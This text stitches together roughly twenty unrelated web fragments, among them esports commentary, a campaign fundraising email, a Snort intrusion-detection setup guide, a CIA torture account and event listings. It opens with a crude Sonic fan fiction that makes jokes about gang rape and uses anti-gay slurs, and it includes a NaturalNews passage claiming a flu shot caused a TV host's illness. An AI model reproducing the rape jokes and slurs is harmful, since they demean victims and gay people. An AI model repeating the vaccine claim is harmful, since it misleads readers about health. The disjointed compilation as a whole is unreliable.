itr was actually sunday, the day of the LORD. BUT,\; sonic was the athiestest. he hated jesus, and decided to play violent video games for the entire day/. "heh, that'll teach him, stinkin' jesus". sonic began to wear black clothes and wear dark eyeliner. he put on black lipstick. while on the way to the church that his STINKING mom had forced sonic to go to, people thought sonic was the gay becuase of the make up that sonic was wearing. "Sonics makeup is for gay males" said the paster during the surmon. "this is unacceptable" we must terminate sonic. Everyone got up from their pew(diepie lol) and started the gang bang of the sonic. "I can not believe you have done this" explained sonic. Sonic attempst to run out the door fast. unfortunately, the shampoo that sonic had used 5 days ago on the science fair day had run out. he was no longer fast. sonic was actually so slow that a snail could have sped by him and sonic would not be able to catch the extremely slow snail because sonic, in relation to the snale, would be even slower. This meant that sonic could not really move anywhere, beucase anywhere would be too far to go and sonic was going nowhere becuase he was moving at a snails pace. He was then ganger bangeed. This displeased sonic greatly. However, just at that ONE MOMENT, tails died of colon cancer. Sonic was still displeased at the ganja bangerino he was received. After 16 hours, the paster finally said "Enough of the RAPE, enough of the GANG, enough of the BONG." Everybody stoppoed. "it was not rape, because sonic was the male sex." everyone left for hometime. Sonic then drew a pentahedron in his own black lipstick and arrival. He said the secret chant: OOga CHuga 666 times, and on the 667th times, SNOrK simoned a daemon. His name was Doctor Rabbit. "PLease kill the paster!" said Spoinc to Dr. Ribbit, PHD. "ok." |
Season 3 summarized the NA scene quite nicely, as the up and comers failed swiftly and easily in the group stages, while only HuK and Scarlett made the Ro8.. and both got 3-0'd. Although the 2015 WCS gave NA new life by allowing more players in, it didn't accomplish much: the disappointment ran deep. Scarlett more-or-less retired. The Koreans (even viOLet, in the worst form of his career) trampled over everyone else. Kane, who looked good for the duration of a Ro16, fell off fast enough for nobody to be sad. In that first season of WCS in 2015, only two North American foreigners won a match. HuK, Suppy and MajOr (who have all had moments of legitimate contention in past seasons) all failed 0-2. puCK barely did better. The next season? Not a single player made the Ro16, and Xenocider plus MaSa only barely scraped together wins against competition that should've been a lot easier. Season Three? Hitman provided a few giggles as he actually got out of groups, but declined the opportunity to show up to the Ro16 while the rest of NA faltered.So, why have things changed now?The easiest person to point to as proof of a rise in NA is none other than Neeb himself, the American protoss who emerged in 2016 as an intelligent, well-paced, patient protoss who relied just about as much on macro ability as he did on clever harass and tricks such as Disruptor drops. His matches against Polt and Hydra over the year-so-far have not only been a joy to watch, but also wildly successful: evidenced by him coming out on top in the WCS NA Regionals twice in a row. He's held a 70%+ winrate against all opponents in 2016, including a recent 19-series win streak over various online cups, NA Regionals and Dreamhack Austin's qualifiers. While he has dropped the occasional match, it's very rare to see him not bounce back and be able to at least make things competitive, perhaps best seen in his two offline outings so far. |
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She died of cancer, and in the last six months of her life, I saw her on the phone in her hospital room arguing with insurance companies instead of focusing on getting well and spending time with her family. As I was finishing my remarks Monday, a woman in the crowd called out, "we need courage." She's right. The politicians in Washington need courage to face down the powerful interests who have held back progress for far too long. And all of us who share this cause need courage to speak up with persistence and clarity in these final days. I've always found that courage comes from remembering that we fight for something and someone beyond ourselves. It comes from our faith. And it comes from our commitment to those we love. So please take a moment to remember those who inspire you -- those who give you the strength to march on. There's very little time left, and still much to do. But I believe to my core in the power of Americans to change history when we put our mind to it. And if you'll stay with us in these final days, I know we can do it again: http://my.barackobama.com/speakout3?cd=DCAL&zip=20016&dc_office=&do_office= Thank you for making it possible, President Barack Obama --------------------------------------------------------------------- Paid for by Organizing for America, a project of the Democratic National Committee -- 430 South Capitol Street SE, Washington, D.C. 20003. This communication is not authorized by any candidate or candidate's committee. This email was sent to: john.podesta@gmail.com To change your email address, go to: http://my.barackobama.com/page/content/change_email?cons_id=6877436&email1=john.podesta@gmail.com To unsubscribe, go to: http://my.barackobama.com/unsubscribe |
The statue of Eros is enclosed in a birdcage structure for the celebrations Hulton Archive/Getty Images 14/25 circa 1955: An entrance to Piccadilly underground station at night. In the background are the neon advertising signs of Piccadilly Circus Ernst Haas/Ernst Haas/Getty Images 15/25 Piccadilly Circus at night in the 1950's Rex 16/25 1956: Traffic circling the statue of Eros on the central roundabout at Piccadilly Circus, London Harry Kerr/BIPs/Getty Images 17/25 Piccadilly Circus by night during the Black Out in 1959 Rex 18/25 People gather for a night on the town at Piccadilly Circus, London in 1969 Rex 19/25 Piccadilly Circus in 1971 Rex 20/25 Neon signs in Piccadilly Circus in 1972 Rex 21/25 Piccadilly Circus in 1983 Rex 22/25 Aerial view Of Piccadilly Circus in 1990 23/25 Traffic moves through Piccadilly Circus as the landmark advertising lights are turned off during the Capital 95.8 Light Out London Campaign on June 21, 2007 in London Daniel Berehulak/Getty Images 24/25 Traffic moves through Piccadilly Circus as the landmark advertising lights are turned back on after the Capital 95.8 Light Out London Campaign on June 21, 2007 in London Daniel Berehulak/Getty Images 25/25 Long exposure of pedestrians and traffic outside Piccadilly Circus Tube Station in 2014 Rex |
Dyes were the first chemicals to be made on a truly industrial scale and others, including fertilisers, soap and dynamite, quickly followed. Faraday demonstrates the invisible force of electro-magnetism The dye manufacturing process also produced large amounts of toxic chlorine gas, a gas which would later be used to terrifying effect in the First World War. The true value of blue-sky research is almost impossible to predict, which sometimes makes it hard to justify on purely commercial grounds. The story goes that Michael Faraday, the 19th century physicist who discovered the principles behind the electric generator and the electric motor, was asked by Gladstone, then Chancellor of the Exchequer, about the practical value of his discoveries. To which Faraday is said to have replied, "one day, sir, you may tax it". Michael Mosley presents The Story of Science on BBC Two on Tuesdays at 2100BST from 27 April. Watch more clips from the series. |
2 /$ for dairy, 2.4 kg CO 2 /$ for red meat) but normalization by calories (since dairy products are in general caloric compared to their price) produces a number around half as intensive as red meat (5.3 g CO 2 /kCal compared to 10.8 g CO 2 /kCal). Normalization by mass makes dairy look even better, due to the high water content (and thus mass) in the form most consumed, milk. Interestingly, on a per-expenditure basis, the impacts of all the other food groups (including the averaged restaurants group, which is low due to higher prices than eating at home) are remarkably similar in impact, though for different reasons. In both measures, fruits and vegetables compare similarly to nonred meat protein sources (chicken/fish/eggs/nuts) because although they have lower production impacts, they have higher impacts due to delivery and transportation. Carbohydrates and oils/sweets, in contrast, appear similar to other groups normalized by expenditure but appear much better normalized by calories due to naturally high energy contents per mass. Figure 1 d shows the total GHG emissions of food groups normalized by expenditure ($1997), and Figure 2 shows a comparison of total impacts with impacts normalized by expenditure, calories, and mass (all shown comparative to the absolute figure for red meat). Both figures show a clear trend for red meat; no matter how it is measured, on average red meat is more GHG-intensive than all other forms of food. Dairy products are an interesting second, as normalization by expenditure produces a GHG-intensity similar to that of red meat (2.2 kg CO/$ for dairy, 2.4 kg CO/$ for red meat) but normalization by calories (since dairy products are in general caloric compared to their price) produces a number around half as intensive as red meat (5.3 g CO/kCal compared to 10.8 g CO/kCal). Normalization by mass makes dairy look even better, due to the high water content (and thus mass) in the form most consumed, milk. Interestingly, on a per-expenditure basis, the impacts of all the other food groups (including the averaged restaurants group, which is low due to higher prices than eating at home) are remarkably similar in impact, though for different reasons. In both measures, fruits and vegetables compare similarly to nonred meat protein sources (chicken/fish/eggs/nuts) because although they have lower production impacts, they have higher impacts due to delivery and transportation. |
Steels and his colleagues Joris Bleys and Joachim de Beule, for example, have presented an agent-based model of language negotiation, similar to that used by Loreto’s team, which purports to explain how a colour-language system can change from one based on differences in brightness (using words like “dark,” “light” and “shiny”) to one that makes distinctions of hue. The brightness system was used in Old English between around 600 and 1150, while Middle English (1150–1500) used hue-related words. A coeval switch was seen in other European languages, coinciding with the development of textile dyeing across the continent. This technology, the researchers say, altered the rules on what needed to be communicated: people now had to talk about a wider range of colours of similar brightness but different hue. The modelling of Steels and colleagues showed that this sort of environmental pressure could tip the balance from a brightness-based colour terminology to a hue-based one. It is one thing to tell that story, another to show by computer modelling that it really works in the complex give and take of discourse. It increasingly seems, then, that language is determined not simply by how we are programmed, but by how it is used and by what we need to say. |
Haspel created the appropriate environment for it: a white room with constant lighting in which loud rock music was to be played all day. Abu Zubayadah was to be kept from sleeping. His guards wore black uniforms and balaclavas and communicated with each other using hand signals – part of a sensory-deprivation strategy that aimed to isolate him socially. He had to sit naked in the cold cell and his handcuffs were fastened to his leg shackles. But none of these methods produced any results for the CIA: Abu Zubayadah maintained his silence. He was then placed in solitary confinement for 47 days. Only one person could have put a stop to this treatment of the prominent prisoner: Gina Haspel. But she didn't. A cable sent back to headquarters by a CIA agent after 10 weeks of torture shows she had been well-aware of Abu Zubayadah's poor state of health. "In the event [Abu Zubaydah] dies, we need to be prepared," it stated. The full version of the memo quoted in the U.S. Senate's torture report reveals, at least between the lines, that the people humiliating him had bad consciences. They all seemed to be aware of the fact that they had already gone far beyond the legal limits. The cable ends with the words: "We need to get reasonable assurances that [Abu Zubaydah] will remain in isolation and incommunicado for the remainder of his life." He is still being detained in Guantánamo today. His ordeal continued after his weeks in solitary confinement. Because the alleged al-Qaida insider hadn't yet come clean about backers and attack plans, President Bush granted permission for the CIA to use even more extreme measures. The prisoner would now be the guinea pig for 10 new "enhanced interrogation methods." That meant additional torture methods. These included "walling," which entailed slamming a person against the wall, locking a person in cramped boxes, facial slaps, the use of diapers and the use of insects and sleep deprivation. But they also introduced waterboarding, in which drowning is simulated by tying the victim to a board, elevating their feet and constantly pouring water onto cellophane wrap covering the face. At Haspel's torture prison in Thailand, Abu Zubaydah was subjected to waterboarding 83 times in the span of one month. Haspel herself was present when her prisoner vomited, passed out and urinated on himself from stress and fear. She then mocked Zubaydah and accused him of feigning the breakdown. |
In September, Jiang Sulian of China had to undergo a colonoscopy when she arrived at Bangkok airport. The reason? She had stolen a six-carat diamond (wor th Rs. 18 crore approx) from a Thai jewellery fair and swallowed it. Lodged in her large intestine, the 39-year old fake tourist needed surgery as the large diamond couldn't be removed naturally.In November 2012, a 25-year-old unnamed Lebanese smuggler was detained at Johannesburg airport with 220, yes 220, polished diamonds in his stomach. Headed to Dubai, the man was caught and forced, with the help of laxatives, to give up the diamonds (worth Rs. 14.9 crore approx).35-year-old "nervous- looking" Abdul Rehman of Sri Lanka was apprehended when the metal detector went off at Mumbai airport in March 2013. Turns out he had hidden five gold biscuits worth Rs. 15 lakh in his rectum. The passenger from Dubai, said an airport official, then "squatted and got the biscuits out". Meanwhile, a woman was once caught the same year at Mumbai airport with 1.5 kg gold sewn into her hair bun.30-year-old Chan Shih wore loose clothing and tried to explain his awkward walk, saying he had a bad back to the Chinese airport staff who detained him in March this year. A closer search revealed he was carrying 146 iPhones strapped to his body. When the detector went off, the man said it was his gold bracelet — but it was the several phones cellotaped to his stomach and calves that were the real problem.Two Sri Lankan men — Shadul Hameed Mohamed Issadeen (48) and Habeebu Mohammed Izadeen (53) — found an ingenious way to smuggle 436.8 gram of gold (worth Rs. 13 lakh approx) in April 2013. They stuck it in their mouths, below their tongues, then got past Lankan immigration using the excuse of maun vrat (vow of silence). At Chennai airport, while mumbling to each other, they were caught by authorities. "They opened their mouths, but did not lift their tongues. We checked and found the gold," said an official. |
As Neptune orbits the Sun, Triton's polar regions take turns facing the Sun for 82 years at a stretch, resulting in radical seasonal changes as one pole, then the other, moves into the sunlight. Neptune itself would span 8 degrees in Triton's sky, though with a maximum brightness roughly comparable to that of the full moon on Earth it would appear only about 1⁄ 256 as bright as the full moon, per unit area. Due to its eccentric orbit, Nereid would vary considerably in brightness, from fifth to first magnitude; its disk would be far too small to see with the naked eye. Proteus would also be difficult to resolve at just 5–6 arcminutes across, but it would never be fainter than first magnitude, and at its closest would rival Canopus. |
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Table 8: Corporate and think-tank linkages for the ten largest foundations and the Rockefeller, Carnegie, and Sloan foundations for 2011-2012 rank foundation total trustees trustees with corporate connections total corporate links think tank links 1 Gates Foundation 27 10 26 7 2 Ford Foundation 17 1 1 2 3 Robert Wood Johnson Foundation 26 5 10 3 4 Lilly Endowment 13 1 2 0 5 W. K. Kellogg Foundation 18 3 4 0 6 The Annenberg Foundation 4 0 0 0 7 Packard Foundation 19 3 13 2 8 Gordon/Betty Moore Foundation 14 1 2 1 9 MacArthur Foundation 21 2 6 2 10 Hewlett Foundation 17 2 3 2 20 Rockefeller Foundation 25 3 4 3 62 Carnegie Corporation 21 4 9 1 66 Alfred P. Sloan Foundation 18 6 12 2 The table reveals that most major foundations have far fewer links to the corporate network than do the think tanks. This is a distinct change from earlier decades (Domhoff 1967; Domhoff 1983). One reason for this change as far as the Ford and Rockefeller foundations is that they now have a few trustees from other countries, including business leaders from those countries. The decline in corporate representation on foundation boards also coincides with the rise of corporate foundations since the 1980s, which now make very large donations from corporate treasuries to a wide range of nonprofits in addition to think tanks (Domhoff, 2014, Chapters 4 and 5). As many of the smaller family foundations passed into the hands of the second and third generations of the founding family, corporate leaders decided to provide tax-free charitable funds directly from their corporations. Universities There were 47 private colleges and universities with endowments of $1 billion or more in 2011-2012. When the names of their trustees were matched with the names in the power elite database, we found that all but one of them (Amherst College) had one or more connections to it, although several of the small private colleges were only linked through one corporation, think tank, or foundation. When the trustees of the 10 most-connected universities were examined in more detail for an earlier study, they had 300 connections to corporations, 31 connections to think tanks, and 15 connections to policy-discussion groups. The Business Council had seven connections, the Business Roundtable six, The Brookings Institution five, and the Council on Foreign Relations four (Gleditsch 2013). |
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And him being classified as a Diver, having been a Juggernaut and Vanguard prior, finally shows that Riot at least knows what direction they'd want to take his design. But I'm digressing. Skarner has always been one of my favorite Champions, even though I haven't gotten to play him a lot recently thanks to the current Jungle meta. The fantasy of playing this gargantuan Crystal Scorpion that despite his monstrous appearance is one of the kindest and wisest champions in League's roster always fascinated me. Yet his kit didn't age very well and after a rework count that rivals Ryze's I think Riot finally decided that they need to change his kit drastically in order to make him actually fit into League's current state. In the following few paragraphs I will fangirl over Skarner and try to convey what **I** personally love about the Crystal Vanguard and what should stay in order to keep old Skarner players from weeping just as much as the Crystal scar. ________________________________________ **Skarner's inherent kit problems** Skarner has a huge problem when it comes to **Satisfaction** Most of the decision making behind his skills goes like this ->Is it off cooldown?->Yes?->Use it His Q in particular serves as nothing else but a cheap Sheen proc and every time I play Skarner I hear my Brother complain about the sound of me molesting my Q key. Most of Skarner's skills are low impact and spammable, making for a pretty boring gameplay. And his Gameplay pattern as a diver is one of the most binary I've ever experienced. He outright relies on flash in order to do his job as his onslaught is extremely telegraphed with popping his W and running at the enemy, wanting to get close enough to use his Impale and drag them to their demise. All in all I personally think in order to finally be a good champion who can be enjoyed by a larger audience he needs to get more impactful abilities and a less binary gameplay pattern. I really do like his E though as it has some cool mechanics and strategy to it. Don't get me wrong though, I like Skarner, especially his ultimate is one of the most enjoyable things in the game! __________________________________ **So, what should remain? ** Every VGU kept something about the original champion, trying to capture what made them appealing to the old mains while improving on that fantasy. |
In our case, our satellite (wireless IDS) system has an OpenVPN tunnel address of 1.1.2.80. The peer TCP/IP address on our back end data collection point it to 1.1.2.70. Lets first do a brief overview of setting up the SQL back end server. These instructions are for MySQL, however, PostgreSQL works very well with Barynard2 too. First, on the server back end, lets create our database and build our tables. Database schemas ship with the tarballs of Snort within the 'schemas' directory. There you'll find MySQL, MS-SQL, DB2 and MySQL schemes. In our example, we'll be using the MySQL schema. # mysqladmin -u root -p create snort_beave # cd /home/beave/snort-2.8.6.1-build/snort-2.8.6.1/schemas # mysql -u root -p snort_beave < create_mysql Once the database is created, we need to assign the appropriate grants/ rights to the database for the remote satellite wireless IDS systems to be able to store information. # mysql -u root -p snort_beave mysql> grant INSERT,SELECT on snort_beave. * to snort@1.1.2.80 identified by 'mypassword'; mysql> grant INSERT,UPDATE,SELECT on snort_beave.sensor to snort@1.1.2.80 identified by 'mypassword' mysql> exit Note: In too many cases I've seen people grant "ALL" to remote satellite IDS/IPS systems. We only want to give our IDS/IPS system the rights that it needs! Also, think of it this way, if an attacker gains access to our system and thus steals our database credentials, do we really want them to have ALL access to the back end database? With the grants/rights in place, we can now move on to configuring Barnyard2 to read our unifed2 output from Snort and inserting data into our MySQL database. Just like Snort, where we separated configuration files via interface (ie - snort.eth1.conf, snort.wlan0.conf, snort.kistap1.conf), we'll be doing the same with Barnyard2 (barnyard.eth1.conf, barnyard.wlan0.conf, barnyard.kistap1.conf). I'll be putting all my Barnyard2 configuration files in the /etc/barnyard2 directory. So the first interface we'll tackle is eth1, our Internet facing interface. So, our configuration file will be barnyard2.eth1.conf ############################################################################ # /etc/barnyard2/barnyard.eth1.conf - Internet facing interface. ############################################################################ config reference_file: /etc/snort/reference.config config classification_file: /etc/snort/classification.config config gen_file: /etc/snort/gen-msg.map config sid_file: /etc/snort/sid-msg.map # The 'hostname' will be directly in our console, so name it something # descriptive. config hostname: wireless-internet config interface: eth1 config set_gid: snort config set_uid: snort config waldo_file: /var/log/barnyard2/barnyard2.eth1.waldo input unified2 output database: log, mysql, user=snort password=mypassword dbname=snort_beave host=1.1.2.70, detail full Obviously, you'll need to tweak this configuration to your environment (ie - 'mypassword'). |
The recovering Nice Guy cannot do this part alone. Safe people are essential for reversing the distorted beliefs all Nice Guys have about their worth. This process requires building trust. I suggest that the recovering Nice Guy set a regular time to meet with his safe person or group, and a little at a time, start revealing himself. This process begins by just talking about himself. This in itself makes many Nice Guys uncomfortable. Over time, the recovering Nice Guy can begin revealing the things about himself that he is the least comfortable letting others see. Once trust has been established, he can begin to reveal things about himself that create fear and shame. I have watched many Nice Guys go from being secretive and evasive to revealing their deepest, darkest secrets in the presence of safe people. Reid, a recovering alcoholic and a member of a No More Mr. Nice Guy! group is a good example of this process. Reid came into a group late one evening and remained quiet and detached for the first thirty or forty minutes. Reid's pattern in the group was to either join in actively or stay withdrawn. His quiet periods were often a signal that he was emotionally distraught. When an opportune time arose, I told Reid that he seemed withdrawn and I asked how he was doing. Once the attention of the group focused on him, his appearance shifted from detachment to terror. "I almost didn't come tonight." He whispered softly as he looked down at his hands. "In fact, I was thinking about quitting the group." A couple of the guys reflected the concern of the whole group by asking what was going on. "I just feel so terrible," Reid continued, "I've done something so terrible, I just didn't know if I could face all of you." My thoughts began to race as to what he could have done that might cause the group rise up in judgment against him. One of the group members asked if he was having an affair. "No, worse." Reid responded. "I've done something so terrible, I don’t even know if I can tell you about As the group off |
I’ve had the thrill of going, “Oh my god it looks like real life,” and then two months, three months, a year later — and it’s just the order of the day. You have to do it though, you have to make progress. We’re a visual species, we like pretty things and cool graphics and I think those things are important to a lot of games. But I really don’t care — I think it’s more about lowering the barrier of entry for gamers whether that’s price, whether that’s always-on gameplay. I think it’s about lowering the actual price of games. If you take a look at what’s happening with the iPad and iPhone or even the browser based stuff. Gamers have proven that they’ll go — I mean look at Minecraft, it’s not the prettiest and it’s not meant to be — gamers have shown that they’ll go where the compelling content is. And I think the industry has gotten into this cycle where it’s just “bigger, better, louder, more,” and it’s forced a lot of people in console gaming development to neglect the essence of what makes great games and interactive entertainment… which is interactivity. And so for me, like I said, I worry about things like lowering the barrier of entry, having more choice when it comes to price points and budgets, having always-on gameplay, having free-to-play, and having the big giant console mega titles from the publishers — two or three from each of them every year. I think fragmentation is what excites me right now. I have very little interest when someone says, “Can’t you wait to work on PS4 or Xbox 720?” And if all it was offering was the same games but just 25% better graphics — I’m like, ehh, who cares? I’m not saying it’s not impressive. I’m not saying it’s not important. I’m saying for me personally I’ve been there, done that. If PS4 or Xbox 720 launched tomorrow, in a year and a half the bloom is off the rose, and it’s really just about the games. DS: Well Dave, thanks again for your time tonight. I’ve got everything I need here. And don’t worry, I won’t misquote you! Dj: Please don’t! Thanks guys, I’ll talk to you soon. |
(NaturalNews) In a recent publicity stunt gone terribly but humorously wrong, Piers Morgan, the infamouspersonality and British journalist whose unconstitutional views on gun control have sparked petitions for his deportation, agreed to take his first ever flu shot during a live taping ofthat aired on January 11, 2013. But just 10 days later, Morgan, who promised to "go after" Oz if he developed the flu following the shot, ironically came down with flu-like symptoms that all but debilitated him from hosting his ownshow.An obvious ploy to both quell the growing public distrust of the flu shot and advocate for its alleged safety and effectiveness, Morgan agreed to be this year's media guinea pig in receiving a flu shot injection directly from vaccine advocate Dr. Mehmet Oz, who we recently exposed as being a shill for industrial agriculture ( https://www.naturalnews.com/038157_Dr_Oz_organic_food_sellout.html ). In front of a live studio audience, Morgan rolled up his sleeve and received the injection to help dispel the "myth" that flu shots cause the flu or are in any way dangerous.You can view the clip of Morgan receiving a flu shot from Dr. Oz here:But just a few days later, Piers reportedly began to develop flu-like symptoms that clearly inhibited his ability to speak properly. His symptoms quickly worsened, prompting him to publish a "tweet" on January 23, just 11 days after getting his flu shot, explaining that his voice had "plunged to [a] ludicrous level, fading in and out." Following this, Morgan added, "Not entirely sure I'll make tonight's live show at this rate. "So much for all that talk about the safety and effectiveness of the flu shot , and Dr. Oz's absurd claim that flu shots cannot cause the flu. As made perfectly evident for millions of Americans to see, Morgan's health quickly began to declined almost immediately after getting a flu shot from Dr. Oz, which is highly suspicious and greatly concerning. Morgan himself essentially affirmed just days later during an interview with country signer Dwight Yoakam that the flu shot he received was responsible for spurring his illness. "We're both doing the math, aren't we," retorted Morgan to Yoakam, who had just advised the controversial television personality to never again get a flu shot. "We both saw him put that thing in my arm, and within 10 days I've been struck down. |
Herrera did win the last Liga MX title with Club America, therefore he must be the best man for the job. The speculation is that Herrera and his staff are being brought in to use a predominantly Club America-based roster for the New Zealand matches. It feels somewhat ridiculous explaining why this is off-base, but I suppose I must proceed. Chemistry and the ability to play as a unit is one of the most important factors in the success of a team. National sides often struggle to overcome the disjointed All Star team group that often gets thrown together. Yet, using players simply because they already play together is simply preposterous. Pulling in random America players because they are on a good team is a joke. Club America is on a good run currently, but this is a temporary run. Santos knocked off Club America a few weeks ago. Perhaps, we should base the entire national team around Santos Laguna. In my (albeit biased) opinion, there are already more America players on the roster than what is deserved[3]. Filling the roster with Aguilas will do nothing but weaken the team. Yes, they've played together but they will also carry the same individual weaknesses the team currently holds in to the national team. This is a bad road to go down regardless of how desperate the times might be currently. 7. Continue using players out of position Nothing reinforces the all-star game roster mentality than squeezing players in to a lineup regardless of position. The group brought in to the national team is obviously highly talented, but does that not mean that they should be in the lineup regardless of function. Chepo kicked off this trend earlier in the year with his insistence upon using 'Jerry' Flores (the offensive-minded left back at Cruz Azul) in midfield. Flores is a great young player. He's a decent defender and can make great runs up the right wing. However, he's not talented enough to be in the midfield. There was a reason he was moved to the defense. To move him back to the midfield in such a big spot was bizarre. The recent use of Giovani Dos Santos and Javier Aquino also raises plenty of questions. Why place Aquino, who does not possess a left foot, on the left flank? Why restrict the creative influence of Dos Santos by sticking him on the right wing? |
Rapidly rising tuition at a time of weak or declining income growth has a number of damaging consequences for families, students, and the national economy. Students are taking on more debt. Student debt levels have swelled since the start of the recession. Collectively, across all institutional sectors, students held $1.08 trillion in student debt — eclipsing both car loans and credit card debt — by the fourth quarter of 2013. Between the 2007-08 and the 2011-12 school years, the median amount of debt incurred by the average bachelor’s degree recipient with loans at a public four-year institution grew from $11,900 to $14,300 (in 2012 dollars), an inflation-adjusted increase of $2,400, or 20 percent. The average level of debt incurred had grown from $11,200 to $11,900, an increase of about 6.3 percent, over the previous eight years. Tuition costs are deterring some students from enrolling in college. While the recession encouraged many students to enroll in higher education, the large tuition increases of the past few years may have prevented further enrollment gains. Rapidly rising tuition makes it less likely that students will attend college. Research has consistently found that college price increases result in declining enrollment.35 While many universities and the federal government provide financial aid to help students bear the price, research suggests that both the advertised tuition cost and the actual price net of aid affect whether students go to college; in other words, a high sticker price can dissuade students from enrolling even if the net price doesn’t rise. Tuition increases are likely deterring low-income students, in particular, from enrolling. Research further suggests that college cost increases have the biggest impact on students from low-income families. For example, a 1995 study by Harvard University researcher Thomas Kane concluded that states that had the largest tuition increases during the 1980’s and early 1990’s “saw the greatest widening of the gaps in enrollment between high- and low-income youth. Tuition increases may be pushing lower-income students toward less-selective institutions, reducing their future earnings. Perhaps just as important as a student’s decision to enroll in higher education is the choice of which college to attend. Even here, research indicates financial constraints and concerns about cost push lower-income students to narrow their list of potential schools and ultimately enroll in less-selective institutions. |
The Cooper Union curriculum was rooted in the rational modernism of Le Corbusier and Mies van der Rohe, with flourishes of Dada. One seminar consisted of Peter Eisenman reading “In Search of Lost Time” aloud to the students for several hours at a time. “I felt that it was important culturally for them to know how important Proust was to thinking about space,” Eisenman, who now teaches at Yale, told me. Hejduk asked students to design a house in the mood of Juan Gris, and to study a piece of fruit over the course of a semester, as it decayed. A self-styled poet, Hejduk also insisted that architecture students take a poetry workshop. Ban says he was often asked to read his poems aloud, as examples for the class. “Surprisingly, I was very good,” he told me. “My poems were always short.” At night, he tutored his friends in structural engineering. One of them was another transfer student, Dean Maltz, who later became his New York partner. “He just understood it intuitively, better than any architect in our class,” Maltz told me. “He’s very calculating—I don’t mean strategically calculating, though he is—but calculations are what goes on in his head.” 13 A rendering of the Aspen Art Museum, which opens on August 9, 2014. The building is a glass box nested in a lattice screen made from resin-infused paper and topped with a timber truss roof. Image courtesy of Aspen Art Museum and Shigeru Ban Architects. As a student, Ban was hardworking, literal-minded, and impervious to criticism. His designs, classmates told me, tended to be based on one big idea, seemingly drawn from one of the masters or from Hejduk himself. Tod Williams said, “He seemed shockingly clear, almost naïve, in the kinds of work that he brought to the studio. It was almost embarrassingly direct.” Ban was sometimes at odds with his professors. Eisenman, to his displeasure, called him Sugar Bear. His thesis project—a Tribeca warehouse space for the display of Richard Serra’s sculptures—didn’t pass, causing him to graduate six months late. But he remained devoted to his teachers’ ideas. For one early residential project in Japan, he completed Hejduk’s standard first-year assignment, to design a house on a nine-square grid. He called it the Nine-Square Grid House. Another early commission, the Curtain Wall House (or Case Study House 07), demystifies one of modernism’s great features, the non-load-bearing exterior wall known as a curtain wall. |
“In fact, the words ‘good’ and ‘bad’ make no sense here. The psychosis or the obsession is you.” How much of Rajesh’s incandescence and Jagu’s tenderness were linked to the unique constructions of their psyches that emanated, ultimately, from the unique constructions of their genomes? |
Using Blockchain to Prevent Fraud The convergence of accounting and blockchain could create a totally new accounting information system in which every transaction ever executed is publicly available and verifiable in real time. Furthermore, blockchain could be used to prevent and detect fraudulent transactions. Because blockchain keeps the record of an asset transfer, any type of misappropriation can be detected by tracing through the blockchain. To combat financial reporting fraud, such as overstatement of revenues by means of channel stuffing or round-tripping, the transactional data in blockchain could provide valid evidence showing any potential irregularities involving revenue recognition (Yunsen Wang and Alexander Kogan, “Designing Privacy-Preserving Blockchain-Based Accounting Information Systems,” working paper, 2017, http://bit.ly/2qJDEJc). In addition, the continuity, irrevocability, and irreversibility of a blockchain ledger could prevent management from creating fictitious transactions or backdating options. The transparency of blockchain will make it easy for forensic accountants to access and examine the material related-party transactions (Dai and Vasarhelyi 2017). Furthermore, the risk of receiving checks without sufficient funds could be avoided. Therefore, blockchains not only increase the chance of detecting fraud, but also pressure management to reduce earnings manipulation. Because blockchain keeps the record of an asset transfer, any type of misappropriation can be detected by tracing through the blockchain. Smart contracts encoded with accounting and business rules could also provide efficient controls of business processes in order to prevent fraud. Smart contracts can be embedded with advanced access control criteria that allow only authorized users to create transactions. A well-designed blockchain should have a precise and dynamically controlled system to designate the roles of connecting to the blockchain, initiating transactions, and creating assets. In addition, the relevant criteria could be encoded in smart contracts to ensure all conditions have been met before recognizing any sales revenue. Moreover, smart contracts could add intelligence into accounting processes by integrating big data and predictive analytics. Combined with big data, smart contracts could layer on top of the reactive-to-predictive transformation to achieve a dynamic, self-optimal, risk-aware measurement of companies’ performance. For example, by encoding a fraud prediction model into a smart contract, a credit card company could adjust the credit limit of an account based on the spending behavior of the account holders (Dai and Vasarhelyi 2017). Unfortunately, not every fraud scheme can be automatically prevented by blockchain. For example, corruption or bribery schemes are hard to detect in both traditional accounting and blockchain accounting systems. |
Screamer Date: September 5, 2015 Location: Buds on Broadway Janet Jackson Date: September 7, 2015 Location: SaskTel Centre Big Dave McLean Date: September 8 - 13, 2015 Location: Buds on Broadway KENmode with Conduct Date: September 9, 2015 Location: Amigos Seoul with The Fuss Date: September 10, 2015 Location: Amigos Dennis Ellsworth & JD Edwards Date: September 10, 2015 Location: The Bassment Yes We Mystic with Mark Mills, Doug Hoyer Date: September 10, 2015 Location: Vangelis Akon with Peter Jackson Date: September 10, 2015 Location: O'Brians Event Centre Sirvis with Parab Poet and Chaps, Alphakids B-boy Crew, Heywood Date: September 11, 2015 Location: Amigos Maurice Drouin Date: September 11, 2015 Location: The Bassment In With The Old Date: September 11, 2015 Location: The Bassment The Neon Party with Neon Steve Date: September 11, 2015 Location: Louis' Jumbo with The Dear Kills, Black Hell Oil Date: September 11, 2015 Location: Vangelis A Tribute to the Man in Black featuring Old Joe and the Truth Hurts with Quinzee Town Date: September 12, 2015 Location: Amigos Stone Frigate Big Band Date: September 12, 2015 Location: The Bassment The Howler featuring League of Wolves, The Rivival, Bastard Poetry Date: September 12, 2015 Location: Capitol Music Club Brody Siebert and Arron Rigden Date: September 12, 2015 Location: Louis' The Emeralds Date: September 13, 2015 Location: Dakota Dunes Casino DJ Yella with DJ Heywood, Progress Date: September 13, 2015 Three Strings Fretless Date: September 14 - 15, 2015 Location: Buds on Broadway Grounders with Sonorific Date: September 15, 2015 Location: Vangelis Don Williams Date: September 16, 2015 Location: TCU Place Fuck the Facts with Denogginizer and Narcissistic Date: September 16, 2015 Location: Amigos 10 Minute Detour Date: September 17, 2015 Location: Capitol Music Club A Ghost in Drag, Perverts, Fox Lake, Cookin' With Grandma Date: September 17, 2015 Location: Vangelis CFCR FM-Phasis Fest Date: September 18, 2015 Location: Amigos Ultimate Power Duo with Shockflesh and The Penske File Date: September 19, 2015 Location: Vangelis The Tenors Date: September 19, 2015 Location: SaskTel Centre Jazz Singer Fest Date: September 20, 2015 Location: The Bassment Madchild with Demrick, Pimpton and Adlib Date: September 20, 2015 Location: Capitol Music Club 24th Street Wailers Date: September 21, 2015 Location: The Bassment Machine Gun Kelly Date: September 21, 2015 Location: O'Brians Event Centre Slim Twig with Medium Date: September 21, 2015 Location: Vangelis The Tragically Hip Date: September 23, 